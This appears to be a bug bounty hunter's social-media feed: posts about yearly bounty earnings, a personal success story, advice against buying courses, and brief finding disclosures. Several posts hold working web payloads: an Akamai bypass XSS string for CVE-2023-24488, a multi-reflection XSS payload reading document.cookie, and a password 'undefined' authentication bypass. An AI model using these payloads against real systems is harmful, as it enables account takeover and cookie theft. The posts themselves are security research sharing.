This year I Completed 500k in bounties
Most rewarded vulnerabilities and the ones I always focused since the beginning:
1. XSS (all types)
2. Cache Poisoning
3. BACs
Reached this amount totally from scratch, learning from the internet.
No certs.
0 Automation.
0 Collabs.
๐ช๐จ๐ซ
1,538 posts
- Total Earnings by Year 2020 - $850.00 2021 - $19,750.00 2022 - $86,744.50 2023 So Far - $168,034.00 17 y/o me never thought about it, started with 0 Knowledge, curious trying to make money while being at home due to the pandemic, with patience it became my main source of income
- While testing for CVE-2023-24488 I found various servers behind Akamai and since the original payload gives a Forbidden response I found this bypass: post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E
- If you are a beginner in bug bounty I recommend donโt ever buy any courses, nor look for mentors Nothing will guarantee you success in bug bounty I learned and keep learning myself by googling, reading hacktivity reports etc never spent a single dollar to learn Just an advice
- My story so far: 2020 Started Bug Bounty 21/22 Pay off some of my parents debt and bought them a Car 2023 Pay off my parents mortgage and bought them a new home 2024 Iโm now in the proccess of buying a home in Florida and I will be moving in November.
- What is this ๐ญ username=bombon&password=undefined 200 OK username=AnyUser&password=undefined 200 Ok It gives you the access token just by providing the username and requesting the password as โundefinedโ letting you to basically authenticate to any account..
- Been hunting for almost 3 years now, only focusing in XSS, learned other vuls by just reading never bought courses, donโt use automation tools, not even burp pro and still manage to make a solid monthly income Its not hard, if you see it hard, then it will be hard.
- I was rewarded $9.600 bounties 2day and achieved what seemed to be impossible for a long time Top 100 All-Time โ
- Found these parameters but were being URL encoded as normal parameters, since I was trying to find an injection point for a Cache Poisoning XSS, I sent them as cookies and they were not being URL encoded anymore, Strong WAF? No problem either โ Itโs just art at this point ๐จ๐๏ธ
- March's total Bounties: $32,119 5 Broken Access Control: $17,237 4 Reflected XSS = $9,671 2 Cache Deception = $2,789 1 Cache Poisoning - Stored XSS = $1,250 Retests and Bonuses: $1,172
- Today's XSS in a Multi-Reflection case: xss%27);}}});alert(document.cookie);$(function+a(){a();});$(function+a(){if(a){}else+if(a){/*///

















